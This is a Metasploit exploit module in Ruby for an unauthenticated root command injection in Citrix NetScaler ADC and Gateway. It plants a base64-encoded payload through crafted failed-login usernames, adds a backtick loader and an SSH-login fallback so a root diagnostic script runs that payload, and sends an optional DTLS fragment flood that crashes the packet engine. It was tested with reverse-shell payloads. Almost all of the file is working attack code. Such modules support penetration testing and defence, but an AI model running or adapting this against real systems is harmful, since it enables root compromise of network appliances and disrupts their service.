...[ More ]

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'json'
require 'socket'

class MetasploitModule < Msf::Exploit::Remote
  # A planted login may wait for a later diagnostic and never yield a session.
  Rank = NormalRanking

  # The core-dump diagnostic scans ns.log.0, ns.log, then /var/log/messages. New failed
  # logins go into one of the two active logs below.
  NS_LOG = '/var/log/ns.log'
  MESSAGES_LOG = '/var/log/messages'

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::SSH
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix NetScaler Unauthenticated Login Log Command Injection (CVE-2026-88771)',
        'Description' => %q{
          NetScaler ADC and Gateway 13.1 before build 64.23 and 14.1 before
          build 73.37 copy an unauthenticated failed-login username into system
          logs. During a later diagnostic run, ns_monuploadd_err.pl mistakes a
          crafted login record for a packet-engine failure and inserts
          attacker-controlled text into a shell command as root. The diagnostic
          can run up to 24 hours later. On a NetScaler Gateway with DTLS, the optional
          CVE-2026-88772 trigger can restart the packet engine forcing the diagnostic run
          to occur much sooner (around five minutes on a 13.1.x target).
        },
        'Author' => [
          'watchTowr', # Technical analysis and PoC for CVE-2026-88771 and CVE-2026-88772
          'CERT-EU', # Technical analysis for CVE-2026-88771
          'Scyrix LLC', # Technical analysis and PoC for CVE-2026-88773
          'sfewer-r7' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          # This is the command injection, both planting and triggering RCE.
          ['CVE', '2026-88771'],
          # This is a separate memory overflow we optionally leverage on a gateway to force restarting a service
          # which expedited triggering RCE on 13.1 targets.
          ['CVE', '2026-88772'],
          # This is an unrelated HTTP smuggling vuln that is patched in the same firmware versions as CVE-2026-88771.
          # We can leverage this in the modules check to see if the target appears vulnerable to CVE-2026-88771
          # based on if CVE-2026-88773 is remediated.
          ['CVE', '2026-88773'],
          ['URL', 'https://support.citrix.com/external/article/CTX697096'],
          ['URL', 'https://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771'],
          ['URL', 'https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/'],
          ['URL', 'https://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/'],
          ['URL', 'https://github.com/Scyrix-LLC/CVE-2026-88773']
        ],
        'DisclosureDate' => '2026-09-27',
        'Privileged' => true,
        'Payload' => {
          'Space' => 4096,
          # Padding would create needless failed-login records.
          'DisableNops' => true
        },
        'Platform' => 'unix',
        # The log stage runs any command payload. Sessionless commands can
        # execute, but the module cannot confirm them through a session.
        'Arch' => ARCH_CMD,
        # Tested with:
        # * cmd/unix/reverse_bash
        # * cmd/unix/python/meterpreter/reverse_tcp
        'Targets' => [
          ['Default', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          # Failed logins are passive; USE_DTLS deliberately risks a packet-engine restart.
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [EVENT_DEPENDENT]
        }
      )
    )

    register_options([
      OptBool.new('USE_DTLS', [true, 'Leverage CVE-2026-88772 to crash nsppe and indirectly relaunch monuploadd which then triggers the CVE-2026-88771 injection. Can only be used against a gateway interface with DTLS enabled. The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x.', false]),
      OptInt.new('RESUBMIT_INTERVAL', [true, 'Seconds between repeated attempts to continuously plant the payload (0 disables, default is 30)', 30]),
      OptInt.new('RESUBMIT_DURATION', [true, 'Total seconds to keep planting the payload and waiting for a session (0 submits once, default is 24 hours)', 86_400])
    ])

    register_advanced_options([
      OptEnum.new('ManagementLoginUri', [
        true, 'Management login endpoint', '/login/do_login',
        ['/login/do_login', '/nitro/v1/config/login', '/nitro/v1/config/login/']
      ]),
      OptEnum.new('ManagementLogFile', [true, 'Log containing management login usernames', NS_LOG, [NS_LOG, MESSAGES_LOG]]),
      OptEnum.new('GatewayLoginUri', [
        true, 'Gateway login endpoint', '/cgi/login',
        ['/cgi/login', '/cgi/tmlogin', '/p/u/doAuthentication.do']
      ]),
      OptEnum.new('GatewayLogFile', [true, 'Log containing Gateway login usernames', MESSAGES_LOG, [NS_LOG, MESSAGES_LOG]]),
      OptBool.new('UseSshFallback', [true, 'Also write the loader to /var/log/messages through failed SSH login when staging uses ns.log', true]),
      OptPort.new('SshPort', [true, 'SSH port for the optional loader fallback', 22])
    ])
  end

  def check
    discovery = discover_surface

    return CheckCode::Unknown(discovery[:message]) unless discovery[:status] == :detected

    description = "Citrix NetScaler #{discovery[:surface]}"

    if discovery[:surface] == :gateway
      # The DTLS probe identifies a reachable feature, not the vulnerable build or
      # whether a crash would launch the CVE-2026-88771 diagnostic.
      dtls = probe_gateway_dtls

      description += " (DTLS #{dtls})"
    end

    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: datastore['SSL'] ? 'https' : 'http',
      info: description
    )

    # If the target is vulnerable to CVE-2026-88773 then it should be vulnerable to CVE-2026-88771 as
    # both of these are patched in the same firmware version. We can detect CVE-2026-88773, an HTTP
    # smuggling issue due to chunk size processing, via some benign test requests.
    if accepts_32bit_chunk_wrap?
      return CheckCode::Appears(description)
    end

    CheckCode::Detected(description)
  end

  def exploit
    # An unauthenticated client can put a failed-login name in an audit log.
    # Pitboss supervises NetScaler's nsppe packet engine (PPE). After a PPE
    # failure, it can restart NetScaler's nCore services. That relaunches
    # monuploadd, a worker that runs core dump diagnostics. On a tested
    # 13.1 appliance, it launches ns_monuploadd_err.pl -WR as root. That script
    # mistakes a crafted login for a PPE crash record and inserts its fake
    # core filename into a shell command.
    # We store the long payload as short log records and plant one short loader
    # record that reads them back. DTLS can prompt a restart; otherwise we
    # keep the records fresh while waiting for the diagnostic (which can take
    # up to 24 hours to occur).
    discovery = discover_surface

    fail_with(Failure::NoTarget, discovery[:message]) unless discovery[:status] == :detected

    fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be zero or greater') if datastore['RESUBMIT_INTERVAL'].negative?

    fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be zero or greater') if datastore['RESUBMIT_DURATION'].negative?

    if datastore['USE_DTLS'] && discovery[:surface] == :gateway
      # A successful PPE restart creates a real crash record after our first
      # loader. We need time for another login to follow that record.
      fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_INTERVAL'].zero?

      fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_DURATION'].zero?
    end

    uri = discovery[:surface] == :gateway ? datastore['GatewayLoginUri'] : datastore['ManagementLoginUri']

    # We maintain a "profile" to describe how we submit the login attempts, as it differs
    # based on the login URI and the data that URI expects.
    # NITRO, NetScaler's management API, expects nested JSON. The other login
    # interfaces use different form fields.
    # The log file tells the loader where to find the long payload records.
    profile = {
      uri: uri,
      format: uri.start_with?('/nitro/') ? :nitro : discovery[:surface],
      log_file: discovery[:surface] == :gateway ? datastore['GatewayLogFile'] : datastore['ManagementLogFile']
    }

    # The diagnostic takes the last matching line in file order, not timestamp
    # order. A record in /var/log/messages can beat our newer HTTP loader in ns.log.
    # SSH can place a copy of that loader in /var/log/messages; it still reads the long
    # stage from the selected HTTP log.
    if profile[:log_file] != MESSAGES_LOG && !datastore['UseSshFallback']
      print_warning('SSH fallback is disabled while staging in ns.log; an older matching record in /var/log/messages may take precedence')
    end

    # The short run ID separates this run's log records from older attempts.
    # stage_statements creates a longer, independent execution marker because
    # the diagnostic can evaluate the fake filename twice.
    run_id = Rex::Text.rand_text_alphanumeric(4)

    statements = stage_statements(payload.encoded)

    # Each refresh gets a new token, so its loader reads only its own chunks.
    counter = 0

    # Submit a complete stage before any DTLS outage. After recovery, another
    # login can put our loader behind Pitboss's genuine crash record.
    stage_status = plant_payload(profile, statements, run_id, counter)

    fail_with(Failure::UnexpectedReply, "The #{discovery[:surface]} login did not accept the complete command stage") unless stage_status

    # The HTTP stage can still work without SSH if /var/log/messages has no competing
    # record, so a failed fallback is a warning rather than a fatal error.
    if stage_status == :ssh_failed
      print_warning('The loader could not be written to /var/log/messages via SSH; an older /var/log/messages record may take precedence')
    end

    print_status("Submitted #{statements.length} command records and a loader through #{uri}")

    if datastore['USE_DTLS'] && discovery[:surface] == :gateway
      # NOTE: The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x.
      trigger_dtls
    elsif datastore['USE_DTLS']
      print_warning('DTLS restart is only available on a gateway interface. Ignoring the USE_DTLS option against a management interface.')
    end

    print_status("Resubmitting payload over the next #{datastore['RESUBMIT_DURATION']} seconds while we wait for the payload to trigger")

    # We need to keep trying until we get a session, which can take up to 24 hours.
    # Framework setup has already started the handler. Stop refreshing when
    # it registers a session. The polling helper yields once after its timeout;
    # this deadline prevents an extra log submission on that final yield.
    deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) + datastore['RESUBMIT_DURATION']

    # A stage already exists, so the first poll only checks for a session.
    initial_poll = true

    # A disabled refresh still needs a nonzero interval to avoid a busy loop.
    poll_until_truthy(timeout: datastore['RESUBMIT_DURATION'], interval: [datastore['RESUBMIT_INTERVAL'], 1].max) do
      next true if session_created?

      next true if Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) >= deadline

      if initial_poll
        initial_poll = false
      elsif datastore['RESUBMIT_INTERVAL'].positive?
        # A five-digit suffix keeps the loader inside the username limit.
        counter = (counter + 1) & 0xfffff

        if plant_payload(profile, statements, run_id, counter)
          vprint_status('Refreshed the log stage and loader')
        end
      end

      session_created?
    end
  end

  def on_new_session(session)
    super

    # Meterpreter sends its own idle probes; a command shell sends nothing.
    return unless session.type == 'shell'

    # On the tested appliance, NetScaler's NAT entry for a reverse shell expired
    # after about three idle minutes while FreeBSD still held the socket. The
    # next command then met a reset. Citrix documents NAT PCB expiry and how
    # keepalive probes can update a connection's last activity:
    # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/system/system-parameter.html
    # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/ns/ns-tcpprofile
    # Start TCP keepalive after 30 seconds to refresh the connection without
    # writing a command to the shell.
    idle_option = if ::Socket.const_defined?(:TCP_KEEPIDLE)
                    ::Socket::TCP_KEEPIDLE
                  elsif ::Socket.const_defined?(:TCP_KEEPALIVE)
                    ::Socket::TCP_KEEPALIVE
                  end

    unless idle_option && session.rstream.respond_to?(:setsockopt)
      print_warning('This command shell transport cannot shorten TCP keepalive; an idle session may be reset by NetScaler')

      return
    end

    session.rstream.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1)

    session.rstream.setsockopt(::Socket::IPPROTO_TCP, idle_option, 30)
  rescue SystemCallError, IOError => e
    print_warning("Could not enable TCP keepalive for the command shell: #{e.message}")
  end

  private

  def accepts_32bit_chunk_wrap?
    normal = chunked_probe_response("0\r\n\r\n")
    return false unless normal && [200, 302].include?(normal.code)

    # A non-hex digit must not receive the ordinary HTTP response.
    return false if chunked_probe_response("z\r\n\r\n")

    # The vulnerable 32-bit parser wraps 0x100000000 to a zero-length chunk:
    # https://github.com/Scyrix-LLC/CVE-2026-88773
    wrapped = chunked_probe_response("100000000\r\n\r\n")
    return false unless wrapped

    [wrapped.code, wrapped['Location'], wrapped['Server']] ==
      [normal.code, normal['Location'], normal['Server']]
  end

  def chunked_probe_response(body)
    http_client = connect
    host = Rex::Socket.is_ipv6?(vhost) ? "[#{vhost}]" : vhost
    host += ":#{rport}" unless [80, 443].include?(rport)
    request = "GET / HTTP/1.1\r\nHost: #{host}\r\nTransfer-Encoding: chunked\r\nConnection: close\r\n\r\n#{body}"

    # Send exact framing without Rex adding Content-Length or User-Agent.
    http_client.send_request(request, 3)
    headers = ''.b
    until headers.include?("\r\n\r\n")
      fragment = http_client.conn.get_once(4096, 3)
      return nil if fragment.to_s.empty?

      return nil if headers.bytesize + fragment.bytesize > 8192

      headers << fragment
    end

    response = Rex::Proto::Http::Response.new
    parsed = response.parse(headers.byteslice(0, headers.index("\r\n\r\n") + 4))
    return nil if parsed == Rex::Proto::Http::Packet::ParseCode::Error

    response
  rescue Rex::ConnectionError, Rex::TimeoutError, IOError, SystemCallError
    nil
  ensure
    disconnect(http_client) if http_client
  end

  def discover_surface
    # AutoCheck calls check before exploit on the same run instance. Reuse a
    # positive result to avoid duplicate GETs, but not for a different target.
    identity = [rhost, rport, datastore['SSL'], datastore['VHOST'], datastore['TARGETURI']]

    return @discovery if @discovery && @discovery_identity == identity

    @discovery = nil
    @discovery_identity = identity

    # The management and Gateway pages expose different unauthenticated
    # branding, even though both can receive failed login submissions.
    root = send_request_cgi('method' => 'GET', 'uri' => '/')

    # 13.1 uses Citrix branding; 14.1 uses NetScaler branding on this page.
    body = root&.body.to_s

    if root&.code == 200 &&
       %w[Citrix NetScaler].any? { |brand| body.include?("<title>#{brand} Login</title>") && body.include?("#{brand} ADC") }
      return @discovery = { status: :detected, surface: :management }
    end

    gateway = send_request_cgi('method' => 'GET', 'uri' => '/logon/LogonPoint/index.html')

    if gateway&.code == 200 && gateway.body.to_s.include?('_ctxstxt_NetscalerGateway')
      return @discovery = { status: :detected, surface: :gateway }
    end

    { status: :unknown, message: 'No NetScaler management or Gateway login page was identified' }
  rescue Rex::TimeoutError, IOError, SystemCallError => e
    { status: :unknown, message: "The NetScaler login page could not be read: #{e.message}" }
  end

  def probe_gateway_dtls
    # Use the same ordinary DTLSv1 hello and cookie exchange as USE_DTLS,
    # stopping before the fragmented key exchange that can restart nsppe.
    socket = connect_udp(false)
    client_random = Rex::Text.rand_text(32)

    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello('', client_random), 0), 0))

    verify = dtls_handshake_body(socket.get(3), 3)

    return :unknown unless verify && verify.bytesize >= 4 && verify.byteslice(0, 2) == "\xfe\xff".b

    cookie_length = verify.getbyte(2)

    return :unknown unless cookie_length.positive? && verify.bytesize == 3 + cookie_length

    cookie = verify.byteslice(3, cookie_length)

    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello(cookie, client_random), 1), 1))

    # A valid cookie proves a DTLS listener is present. A ServerHello also
    # proves this module's ClientHello reaches the subsequent handshake path.
    dtls_server_hello?(socket.get(3)) ? :enabled : :present
  rescue Rex::TimeoutError, IOError, SystemCallError => e
    vprint_warning("The Gateway DTLS check was inconclusive: #{e.message}")

    :unknown
  ensure
    disconnect_udp(socket) if socket
  end

  def stage_statements(command)
    # monuploadd holds a lock while it runs the diagnostic. A live payload
    # would inherit that lock and block later diagnostics. Close inherited
    # descriptors 3 through 255 and redirect standard streams so the payload
    # cannot keep the diagnostic open. Run it in the background so the
    # diagnostic can finish. Bash's eval closes each numbered descriptor.
    # The directory marker is created first: if the diagnostic executes the
    # loader twice, only the first run starts a payload. It stays on disk to
    # stop old log entries from replaying this run. Its 16 characters are
    # independent of the shorter log token and stay fixed across refreshes.
    marker = Rex::Text.rand_text_alphanumeric(16)

    script = <<~BASH
      if mkdir /var/tmp/.#{marker} 2>/dev/null; then
        (
          for fd in {3..255}; do eval "exec $fd>&-"; done
          #{command}
        ) </dev/null >/dev/null 2>&1 &
      fi
    BASH

    # The login log has a short username limit. URL-safe Base64 avoids '+',
    # which management logging can turn into a space; 79-byte pieces leave
    # room for each record's token and separators.
    chunks = Base64.urlsafe_encode64(script).scan(/.{1,79}/)

    # These are shell assignments stored as usernames, not commands run by
    # the login endpoint. Each username is token@statement@, so the loader
    # can take the middle field and rebuild the stage in log order.
    statements = ["b='#{chunks.shift}'"]

    chunks.each { |chunk| statements << "b=\"$b\"'#{chunk}'" }

    # Convert URL-safe Base64 back to the standard alphabet; OpenSSL's -A
    # handles the long line without wrapping it. The octal \053 stands for
    # '+' so the log record itself never contains that fragile character.
    # Bash then executes the decoded script.
    # NetScaler's Python lives outside the daemon's PATH, where Framework's
    # Python command payload would otherwise fail to find it.
    statements << "echo \"$b\"|tr '_-' '/\\053'|openssl base64 -d -A|PATH=$PATH:/var/python/bin bash"
  end

  def plant_payload(profile, statements, run_id, counter)
    # The run ID separates attempts. The counter changes on each refresh so
    # a loader cannot mix old and new chunks from this run.
    token = "#{run_id}#{format('%05x', counter)}"

    loader = loader_username(token, profile[:log_file])

    # Write every chunk before the loader so a selected loader can find a
    # complete stage, even if the diagnostic runs immediately afterward.
    usernames = statements.map { |statement| "#{token}@#{statement}@" } << loader

    # Validate all usernames before writing any log entries; an oversized
    # field could be truncated and leave an unusable partial stage behind.
    oversized = usernames.find { |username| username.bytesize > 100 }

    fail_with(Failure::BadConfig, "Generated login username is #{oversized.bytesize} bytes (maximum 100)") if oversized

    # An authentication failure is expected. Stop only if the endpoint does
    # not appear to have handled a login submission.
    usernames.each do |username|
      response = submit_login(profile, username)

      next if response && login_accepted?(profile, response)

      vprint_warning("Login submission failed through #{profile[:uri]} (HTTP #{response&.code || 'no response'})")

      return nil
    end

    return :planted unless datastore['UseSshFallback'] && profile[:log_file] != MESSAGES_LOG

    # SSH supplies a second copy of the loader in /var/log/messages; the HTTP stage
    # remains usable even if SSH submission fails.
    submit_ssh_loader(loader) ? :planted : :ssh_failed
  end

  def loader_username(token, log_file)
    # The diagnostic's broad Pitboss/PPE regex accepts this fake crash line.
    # It keeps only two whitespace fields after NSPPE, then passes the result
    # unquoted to a shell. Backticks run our loader there, and $IFS separates
    # its arguments without adding literal spaces after NSPPE.
    #
    # Management and Gateway login records both say "User <token>@". Gateway
    # 14.1 also logs each name in an "AAA Message" line without that field.
    # User. selects one copy without a literal space in the loader. Bracketing
    # one token character avoids matching the loader's own search text.
    # POSIX sh assembles the chunks; the decoded stage uses Bash.
    pattern = "#{token[0]}[#{token[1]}]#{token[2..]}@"

    "pitbossPPEunexpectedly diedNSPPE`awk$IFS-F@$IFS'/User.#{pattern}/{print$2}'<#{log_file}|sh`"
  end

  def submit_login(profile, username)
    # The tested login paths log the name from a failed attempt. NITRO needs
    # JSON; Gateway and GUI use different form names.
    # A random password keeps this request unauthenticated.
    request = {
      'method' => 'POST',
      'uri' => profile[:uri]
    }

    case profile[:format]
    when :gateway
      request['vars_post'] = {
        'login' => username,
        'passwd' => Rex::Text.rand_text_hex(12),
        'savecredentials' => 'false',
        'nsg-x1-logon-button' => 'Log On'
      }
    when :nitro
      request['ctype'] = 'application/json'

      request['data'] = {
        'login' => {
          'username' => username,
          'password' => Rex::Text.rand_text_hex(12)
        }
      }.to_json
    else
      request['vars_post'] = {
        'username' => username,
        'password' => Rex::Text.rand_text_hex(12),
        'timezone_offset' => '0',
        'url' => '',
        'eula' => 'TRUE'
      }

      request['headers'] = { 'X-Nitro-Web-Application' => 'true' }
    end

    send_request_cgi(request)
  rescue Rex::TimeoutError, IOError, SystemCallError => e
    vprint_warning("Failed-login request could not be sent: #{e.message}")

    nil
  end

  def login_accepted?(profile, response)
    # NITRO uses 401 for a failed login; the GUI redirects, while Gateway can
    # also return an XML authentication response. These responses show the
    # endpoint handled the attempt, not that a log entry or command ran.
    return response.code == 401 if profile[:format] == :nitro

    if profile[:format] == :gateway && response.code == 200
      return response.body.to_s.include?('<AuthenticateResponse')
    end

    return false unless response.code == 302 || response.code == 303

    location = response.redirection&.path.to_s

    profile[:format] == :gateway ? location.start_with?('/vpn/') : location.start_with?('/login/loginview')
  end

  def submit_ssh_loader(loader)
    # sshd writes the complete username to /var/log/messages after six invalid password
    # attempts. This puts a second loader where the diagnostic searches last,
    # without requiring a valid SSH account.
    prompt = RandomPasswordPrompt.new

    options = ssh_client_defaults.merge(
      auth_methods: ['password'],
      password: Rex::Text.rand_text_hex(32),
      password_prompt: prompt,
      number_of_password_prompts: 6,
      non_interactive: false,
      timeout: datastore['SSH_TIMEOUT'],
      port: datastore['SshPort']
    )

    Net::SSH.start(rhost, loader, options) { |_ssh| }

    false
  rescue Net::SSH::Disconnect
    # Net::SSH uses the first password directly; five prompt callbacks suggest
    # six attempts were sent. The disconnect does not prove a log entry exists.
    prompt.prompts == 5
  rescue Net::SSH::Exception, IOError, SystemCallError => e
    vprint_warning("SSH loader submission failed: #{e.message}")

    false
  end

  # Net::SSH calls this prompt for retries after the initial password. Fresh
  # random answers provide the repeated failures that make sshd log the name.
  class RandomPasswordPrompt
    attr_reader :prompts

    def initialize
      @prompts = 0
    end

    def start(_info)
      self
    end

    def ask(_message, _echo)
      @prompts += 1

      Rex::Text.rand_text_hex(32)
    end

    def success; end
  end

  def trigger_dtls
    # DTLS on a Gateway reaches the packet engine's separate overflow. Its
    # parser accepts later handshake fragments only after a ClientHello with
    # the server's fresh cookie. Use one UDP socket for both hellos and the
    # later fragments, as required by that cookie exchange.
    vprint_status('Probing the Gateway DTLS listener for a fresh cookie')

    socket = connect_udp(false)

    client_random = Rex::Text.rand_text(32)

    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello('', client_random), 0), 0))

    verify = socket.get(3)

    unless dtls_handshake_type(verify) == 3 && verify.bytesize >= 29
      print_warning('DTLS HelloVerifyRequest was unavailable; waiting for a normal diagnostic run')

      return
    end

    # A DTLS record has a 13-byte header and a handshake has a 12-byte header.
    # HelloVerifyRequest then has two version bytes before the cookie length.
    cookie_length = verify.getbyte(27)

    cookie = verify.byteslice(28, cookie_length)

    unless cookie_length.positive? && cookie&.bytesize == cookie_length
      print_warning('DTLS returned an invalid cookie; waiting for a normal diagnostic run')

      return
    end

    vprint_status("Received a #{cookie_length}-byte DTLS cookie")

    # The server must accept the cookie and finish its hello flight before it
    # will parse the ClientKeyExchange fragments used by this trigger.
    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello(cookie, client_random), 1), 1))

    # ServerHelloDone can arrive in a later datagram, after the certificate.
    # Check a bounded number of records rather than treating the first reply
    # as the whole server flight.
    unless dtls_handshake_type(socket.get(3)) == 2 &&
           12.times.any? { dtls_handshake_type(socket.get(0.15)) == 14 }
      print_warning('The DTLS server flight was incomplete; waiting for a normal diagnostic run')

      return
    end

    vprint_status('The Gateway completed the DTLS server flight')

    # The body has the shape of an RSA key exchange but deliberately invalid
    # ciphertext. A healthy server should reject it with an alert.
    # A restart was observed at 128 overlapping fragments, not at lower counts.
    body_length = 1445

    fragment_count = 128

    body = [body_length - 2].pack('n') + Rex::Text.rand_text(body_length - 2)

    # All partial records claim the same logical message but overlap heavily.
    # The final offset-zero record completes it, reaching the vulnerable
    # reassembly copy with much more buffered data than the logical length.
    1.upto(fragment_count) do |offset|
      fragment = dtls_handshake(16, body.byteslice(offset..), 2, body.bytesize, offset)

      socket.put(dtls_record(fragment, offset + 1))

      # A burst of near-MTU UDP records could overrun the Gateway's receive
      # queue and lose fragments needed when the final record arrives. A 4 ms
      # gap limits this burst to about 250 records per second and adds only
      # half a second.
      # Kernel.sleep requests this short delay as Rex::ThreadSafe.sleep uses 200 ms steps.
      ::Kernel.sleep(0.004)
    end

    socket.put(dtls_record(dtls_handshake(16, body, 2), fragment_count + 2))

    # Packet delivery alone cannot confirm a restart. Keep refreshing the
    # login records whether this trigger works or not.
    print_status('Sent the CVE-2026-88772 DTLS sequence; login refreshes will continue')
  rescue Rex::TimeoutError, IOError, SystemCallError => e
    print_warning("The DTLS restart could not be sent: #{e.message}")
  ensure
    disconnect_udp(socket) if socket
  end

  def dtls_client_hello(cookie, client_random)
    # Keep the same client random in both DTLS 1.0 hellos; only the second one
    # includes the server's cookie. The remaining bytes advertise the cipher
    # and extensions accepted by the Gateway.
    "\xfe\xff".b + client_random + "\x00".b + [cookie.bytesize].pack('C') + cookie +
      "\x00\x04\x00\x35\x00\xff\x01\x00\x00\x0c\x00\x23\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00".b
  end

  def dtls_handshake(kind, body, sequence, total = body.bytesize, offset = 0)
    # A fragment keeps the full message length in its header, while offset
    # and fragment length describe only the bytes carried by this record.
    [kind].pack('C') + dtls_u24(total) + [sequence].pack('n') + dtls_u24(offset) + dtls_u24(body.bytesize) + body
  end

  def dtls_record(handshake, sequence)
    # DTLS 1.0 handshake record: content type, version, epoch zero, six-byte
    # record sequence, payload length, then the handshake message.
    "\x16\xfe\xff\x00\x00".b + [sequence].pack('Q>')[-6, 6] + [handshake.bytesize].pack('n') + handshake
  end

  def dtls_u24(value)
    # DTLS uses three-byte lengths and offsets; Ruby's pack uses four-byte
    # network-order integers, so keep the low three bytes.
    [value].pack('N')[-3, 3]
  end

  def dtls_handshake_type(record)
    # Require a complete first handshake inside a DTLSv1 epoch-zero record.
    # A datagram may contain further records, so trailing bytes are allowed.
    return unless record && record.bytesize >= 25
    return unless record.getbyte(0) == 22 && record.byteslice(1, 4) == "\xfe\xff\x00\x00".b

    record_length = record.byteslice(11, 2).unpack1('n')
    return unless record_length >= 12 && record.bytesize >= 13 + record_length

    message_length = ("\x00".b + record.byteslice(14, 3)).unpack1('N')
    offset = ("\x00".b + record.byteslice(19, 3)).unpack1('N')
    fragment_length = ("\x00".b + record.byteslice(22, 3)).unpack1('N')
    return unless offset + fragment_length <= message_length && fragment_length <= record_length - 12

    record.getbyte(13)
  end

  def dtls_handshake_body(record, kind)
    return unless dtls_handshake_type(record) == kind

    message_length = ("\x00".b + record.byteslice(14, 3)).unpack1('N')
    offset = ("\x00".b + record.byteslice(19, 3)).unpack1('N')
    fragment_length = ("\x00".b + record.byteslice(22, 3)).unpack1('N')

    record.byteslice(25, fragment_length) if offset.zero? && fragment_length == message_length
  end

  def dtls_server_hello?(record)
    body = dtls_handshake_body(record, 2)
    return false unless body && body.bytesize >= 38 && body.byteslice(0, 2) == "\xfe\xff".b

    # This ClientHello offers only TLS_RSA_WITH_AES_256_CBC_SHA. A response
    # naming another suite or a truncated session ID is not a completed hello.
    session_id_length = body.getbyte(34)
    return false if session_id_length > 32 || body.bytesize < 38 + session_id_length

    body.byteslice(35 + session_id_length, 2) == "\x00\x35".b && body.getbyte(37 + session_id_length).zero?
  end
end